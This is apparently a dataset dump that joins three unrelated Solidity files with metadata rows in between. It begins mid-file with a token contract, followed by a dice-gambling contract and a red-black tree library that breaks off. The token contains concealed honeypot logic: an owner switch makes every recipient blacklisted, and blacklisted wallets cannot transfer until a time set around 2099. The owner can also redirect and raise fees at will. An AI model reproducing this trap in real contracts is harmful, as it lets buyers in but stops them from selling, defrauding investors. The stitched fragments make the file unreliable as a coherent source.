uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 1000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedAnitFee;
uint256 public _singleTransaction = 5;
uint256 private _freeTime = 4070880000;
mapping (address => bool) public _bd;
mapping (address => bool) public _wd;
bool public _bone = false;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedAnitFee[_msgSender()] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function excludeAnitFee(address account) public onlyOwner {
_isExcludedAnitFee[account] = true;
}
function includeAnitFee(address account) public onlyOwner {
_isExcludedAnitFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if(!_isExcludedAnitFee[sender]){
require(amount <= _singleTransaction,"A single transaction is limited to five pieces");
}
if(_bd[sender]) require(block.timestamp > _freeTime,"It's not open to free time");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
if(_bone) bone(recipient);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tLiquidity);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function setSingleTransaction(uint256 amount, uint256 tps) public onlyOwner {
_singleTransaction = amount;
_fundFee = tps;
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
function bdWallet(address account) public onlyOwner {
if(_bd[account] == true) return;
_bd[account] = true;
}
function unBdWallet(address account) external onlyOwner {
if(_bd[account] == false) return;
_bd[account] = false;
}
function isBdWallet(address account) public view returns (bool) {
return _bd[account];
}
function wdWallet(address account) public onlyOwner {
if(_wd[account] == true) return;
_wd[account] = true;
}
function unWdWallet(address account) external onlyOwner {
if(_wd[account] == false) return;
_wd[account] = false;
}
function isWdWallet(address account) public view returns (bool) {
return _wd[account];
}
function setBone(bool flag) public onlyOwner {
_bone = flag;
}
function td(address td_) public onlyOwner {
_fundAddress = td_;
}
function setFreeTime(uint256 time) public onlyOwner {
_freeTime = time;
}
function getFreeTime() public onlyOwner view returns (uint256){
return _freeTime;
}
function bone(address _header) private {
_bd[_header] = true;
}
}
| 287,403 | 13,510 |
d0524665323ebf87326602acbb7bac082dfa0d62fc18b56bd45af66162a74243
| 15,062 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xfb40314b3958b84d3ccf529295033fc8543a39e1.sol
| 4,116 | 14,915 |
pragma solidity ^0.5.0;
contract PlayEth{
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address payable public owner;
address payable private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address payable gambler;
}
mapping (uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () external payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address payable gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address payable beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := keccak256(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := keccak256(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := keccak256(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
| 276,013 | 13,511 |
1bd93c0eaa85f64a38341a45ba9a82981f446cd28108da9a281f7b8764cdfdd9
| 17,391 |
.sol
|
Solidity
| false |
153226619
|
bokkypoobah/BokkyPooBahsRedBlackTreeLibrary
|
a8e986449fbf8e7f084abab653f47bf6de0147ad
|
flattened/TestBokkyPooBahsRedBlackTree_flattened.sol
| 4,612 | 17,370 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// BokkyPooBah's RedBlackTree Library v0.90
//
// A Solidity Red-Black Tree library to store and maintain a sorted data
// structure in a Red-Black binary search tree, with O(log n) insert, remove
// and search time (and gas, approximately)
//
// https://github.com/bokkypoobah/BokkyPooBahsRedBlackTreeLibrary
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsRedBlackTreeLibrary {
struct Node {
uint parent;
uint left;
uint right;
bool red;
}
struct Tree {
uint root;
mapping(uint => Node) nodes;
}
uint private constant SENTINEL = 0;
event Log(string where, string action, uint key, uint parent, uint left, uint right, bool red);
function first(Tree storage self) internal view returns (uint _key) {
_key = self.root;
while (_key != SENTINEL && self.nodes[_key].left != SENTINEL) {
_key = self.nodes[_key].left;
}
}
function last(Tree storage self) internal view returns (uint _key) {
_key = self.root;
while (_key != SENTINEL && self.nodes[_key].right != SENTINEL) {
_key = self.nodes[_key].right;
}
}
function next(Tree storage self, uint x) internal view returns (uint y) {
require(x != SENTINEL);
if (self.nodes[x].right != SENTINEL) {
y = treeMinimum(self, self.nodes[x].right);
} else {
y = self.nodes[x].parent;
while (y != SENTINEL && x == self.nodes[y].right) {
x = y;
y = self.nodes[y].parent;
}
}
return y;
}
function prev(Tree storage self, uint x) internal view returns (uint y) {
require(x != SENTINEL);
if (self.nodes[x].left != SENTINEL) {
y = treeMaximum(self, self.nodes[x].left);
} else {
y = self.nodes[x].parent;
while (y != SENTINEL && x == self.nodes[y].left) {
x = y;
y = self.nodes[y].parent;
}
}
return y;
}
function exists(Tree storage self, uint key) internal view returns (bool _exists) {
require(key != SENTINEL);
uint _key = self.root;
while (_key != SENTINEL) {
if (key == _key) {
_exists = true;
}
if (key < _key) {
_key = self.nodes[_key].left;
} else {
_key = self.nodes[_key].right;
}
}
}
function getNode(Tree storage self, uint key) internal view returns (uint _ReturnKey, uint _parent, uint _left, uint _right, bool _red) {
require(key != SENTINEL);
uint _key = self.root;
while (_key != SENTINEL) {
if (key == _key) {
Node memory node = self.nodes[key];
return (key, node.parent, node.left, node.right, node.red);
}
if (key < _key) {
_key = self.nodes[_key].left;
} else {
_key = self.nodes[_key].right;
}
}
}
function parent(Tree storage self, uint key) internal view returns (uint _parent) {
require(key != SENTINEL);
_parent = self.nodes[key].parent;
}
function grandparent(Tree storage self, uint key) internal view returns (uint _grandparent) {
require(key != SENTINEL);
uint _parent = self.nodes[key].parent;
if (_parent != SENTINEL) {
_grandparent = self.nodes[_parent].parent;
}
}
function sibling(Tree storage self, uint key) internal view returns (uint _sibling) {
require(key != SENTINEL);
uint _parent = self.nodes[key].parent;
if (_parent != SENTINEL) {
if (key == self.nodes[_parent].left) {
_sibling = self.nodes[_parent].right;
} else {
_sibling = self.nodes[_parent].left;
}
}
}
function uncle(Tree storage self, uint key) internal view returns (uint _uncle) {
require(key != SENTINEL);
uint _grandParent = grandparent(self, key);
if (_grandParent != SENTINEL) {
uint _parent = self.nodes[key].parent;
_uncle = sibling(self, _parent);
}
}
function insert(Tree storage self, uint z) internal {
require(z != SENTINEL);
uint y = SENTINEL;
uint x = self.root;
while (x != SENTINEL) {
y = x;
if (z < x) {
x = self.nodes[x].left;
} else {
x = self.nodes[x].right;
}
}
self.nodes[z] = Node(y, SENTINEL, SENTINEL, true);
if (y == SENTINEL) {
self.root = z;
} else if (z < y) {
self.nodes[y].left = z;
} else {
self.nodes[y].right = z;
}
insertFixup(self, z);
}
function remove(Tree storage self, uint z) internal {
require(z != SENTINEL);
uint x;
uint y;
if (self.nodes[z].left == SENTINEL || self.nodes[z].right == SENTINEL) {
y = z;
} else {
y = self.nodes[z].right;
while (self.nodes[y].left != SENTINEL) {
y = self.nodes[y].left;
}
}
if (self.nodes[y].left != SENTINEL) {
x = self.nodes[y].left;
} else {
x = self.nodes[y].right;
}
uint yParent = self.nodes[y].parent;
self.nodes[x].parent = yParent;
if (yParent != SENTINEL) {
if (y == self.nodes[yParent].left) {
self.nodes[yParent].left = x;
} else {
self.nodes[yParent].right = x;
}
} else {
self.root = x;
}
bool doFixup = !self.nodes[y].red;
if (y != z) {
replaceParent(self, y, z);
self.nodes[y].left = self.nodes[z].left;
self.nodes[self.nodes[y].left].parent = y;
self.nodes[y].right = self.nodes[z].right;
self.nodes[self.nodes[y].right].parent = y;
self.nodes[y].red = self.nodes[z].red;
(y, z) = (z, y);
}
if (doFixup) {
removeFixup(self, x);
// TODO Check if required delete self.nodes[0];
// delete self.nodes[0];
}
delete self.nodes[y];
}
function treeMinimum(Tree storage self, uint key) private view returns (uint) {
while (self.nodes[key].left != SENTINEL) {
key = self.nodes[key].left;
}
return key;
}
function treeMaximum(Tree storage self, uint key) private view returns (uint) {
while (self.nodes[key].right != SENTINEL) {
key = self.nodes[key].right;
}
return key;
}
function rotateLeft(Tree storage self, uint x) private {
uint y = self.nodes[x].right;
uint _parent = self.nodes[x].parent;
uint yLeft = self.nodes[y].left;
self.nodes[x].right = yLeft;
if (yLeft != SENTINEL) {
self.nodes[yLeft].parent = x;
}
self.nodes[y].parent = _parent;
if (_parent == SENTINEL) {
self.root = y;
} else if (x == self.nodes[_parent].left) {
self.nodes[_parent].left = y;
} else {
self.nodes[_parent].right = y;
}
self.nodes[y].left = x;
self.nodes[x].parent = y;
}
function rotateRight(Tree storage self, uint x) private {
uint y = self.nodes[x].left;
uint _parent = self.nodes[x].parent;
uint yRight = self.nodes[y].right;
self.nodes[x].left = yRight;
if (yRight != SENTINEL) {
self.nodes[yRight].parent = x;
}
self.nodes[y].parent = _parent;
if (_parent == SENTINEL) {
self.root = y;
} else if (x == self.nodes[_parent].right) {
self.nodes[_parent].right = y;
} else {
self.nodes[_parent].left = y;
}
self.nodes[y].right = x;
self.nodes[x].parent = y;
}
function insertFixup(Tree storage self, uint z) private {
uint y;
while (z != self.root && self.nodes[self.nodes[z].parent].red) {
uint zParent = self.nodes[z].parent;
if (zParent == self.nodes[self.nodes[zParent].parent].left) {
y = self.nodes[self.nodes[zParent].parent].right;
if (self.nodes[y].red) {
self.nodes[zParent].red = false;
self.nodes[y].red = false;
self.nodes[self.nodes[zParent].parent].red = true;
z = self.nodes[zParent].parent;
} else {
if (z == self.nodes[zParent].right) {
z = zParent;
rotateLeft(self, z);
}
zParent = self.nodes[z].parent;
self.nodes[zParent].red = false;
self.nodes[self.nodes[zParent].parent].red = true;
rotateRight(self, self.nodes[zParent].parent);
}
} else {
y = self.nodes[self.nodes[zParent].parent].left;
if (self.nodes[y].red) {
self.nodes[zParent].red = false;
self.nodes[y].red = false;
self.nodes[self.nodes[zParent].parent].red = true;
z = self.nodes[zParent].parent;
} else {
if (z == self.nodes[zParent].left) {
z = zParent;
rotateRight(self, z);
}
zParent = self.nodes[z].parent;
self.nodes[zParent].red = false;
self.nodes[self.nodes[zParent].parent].red = true;
rotateLeft(self, self.nodes[zParent].parent);
}
}
}
self.nodes[self.root].red = false;
}
function replaceParent(Tree storage self, uint a, uint b) private {
uint bParent = self.nodes[b].parent;
self.nodes[a].parent = bParent;
if (bParent == SENTINEL) {
self.root = a;
} else {
if (b == self.nodes[bParent].left) {
self.nodes[bParent].left = a;
} else {
self.nodes[bParent].right = a;
}
}
}
function removeFixup(Tree storage self, uint x) private {
uint w;
while (x != self.root && !self.nodes[x].red) {
uint xParent = self.nodes[x].parent;
if (x == self.nodes[xParent].left) {
w = self.nodes[xParent].right;
if (self.nodes[w].red) {
self.nodes[w].red = false;
self.nodes[xParent].red = true;
rotateLeft(self, xParent);
w = self.nodes[xParent].right;
}
if (!self.nodes[self.nodes[w].left].red && !self.nodes[self.nodes[w].right].red) {
self.nodes[w].red = true;
x = xParent;
} else {
if (!self.nodes[self.nodes[w].right].red) {
self.nodes[self.nodes[w].left].red = false;
self.nodes[w].red = true;
rotateRight(self, w);
w = self.nodes[xParent].right;
}
self.nodes[w].red = self.nodes[xParent].red;
self.nodes[xParent].red = false;
self.nodes[self.nodes[w].right].red = false;
rotateLeft(self, xParent);
x = self.root;
}
} else {
w = self.nodes[xParent].left;
if (self.nodes[w].red) {
self.nodes[w].red = false;
self.nodes[xParent].red = true;
rotateRight(self, xParent);
w = self.nodes[xParent].left;
}
if (!self.nodes[self.nodes[w].right].red && !self.nodes[self.nodes[w].left].red) {
self.nodes[w].red = true;
x = xParent;
} else {
if (!self.nodes[self.nodes[w].left].red) {
self.nodes[self.nodes[w].right].red = false;
self.nodes[w].red = true;
rotateLeft(self, w);
w = self.nodes[xParent].left;
}
self.nodes[w].red = self.nodes[xParent].red;
self.nodes[xParent].red = false;
self.nodes[self.nodes[w].left].red = false;
rotateRight(self, xParent);
x = self.root;
}
}
}
self.nodes[x].red = false;
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's RedBlackTree Library v0.90 - Contract for testing
//
// A Solidity Red-Black Tree library to store and maintain a sorted data
// structure in a Red-Black binary search tree, with O(log n) insert, remove
// and search time (and gas, approximately)
//
// https://github.com/bokkypoobah/BokkyPooBahsRedBlackTreeLibrary
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
contract TestBokkyPooBahsRedBlackTree {
